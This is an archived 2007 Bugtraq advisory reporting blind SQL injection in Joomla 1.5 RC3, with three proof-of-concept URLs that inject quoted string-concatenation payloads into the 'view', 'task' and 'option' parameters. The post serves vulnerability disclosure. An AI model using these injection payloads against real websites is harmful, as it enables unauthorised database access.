bugtraq - Blind Sql-Injection in Joomla 1.5 RC3

lists.openwall.net		lists / announce john-users owl-users popa3d-users / xvendor oss-security / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4
Open Source and information security mailing list archives

This website is powered by Openwall GNU/*/Linux security-enhanced OS

[<prev] [next>] [month] [year] [list]

Date: 5 Dec 2007 03:51:48 -0000
From: beenudel1986@...il.com
To: bugtraq@...urityfocus.com
Subject: Blind Sql-Injection in Joomla 1.5 RC3

Thanks to team of Darkc0de.com

Blind Sql-Injection in Joomla 1.5 RC3

URL : http://localhost/index.php

1. Parameter = view

The following changes were applied to the original request:
. Set parameter 'view's value to 'somechars'%20+%20'article'

POC URL : http://localhost/index.php?option=com_content&view=somechars'%20+%20'article&id=25&Itemid=28

This test uses several different HTTP requests in order to verify the existence of a Blind SQL
Injection vulnerability. The resulting test responses show that requests containing conditions with
the same logical values were identical to the original valid response, and the responses with
different values were not. This indicates that an SQL query is being executed at the back-end
database, and that the injected values affect the original query

2. Parameter = task

The following changes were applied to the original request:
. Set parameter 'task's value to 'somechars%27+%2B+%27search'

POC URL : http://localhost/index.php?searchword=&task=somechars%27+%2B+%27search&option=com_search

3. Parameter = option

The following changes were applied to the original request:
. Set parameter 'option's value to 'somechars%27+%2B+%27com_search'

POC URL :http://localhost/index.php?searchword=&task=search&option=somechars%27+%2B+%27com_search

~~~~~~~~~~mail : beenudel1986@...il.com~~~~~~~~~~~~~~~~

greetz to : d3, baltazar , Zugzwang , icqbomber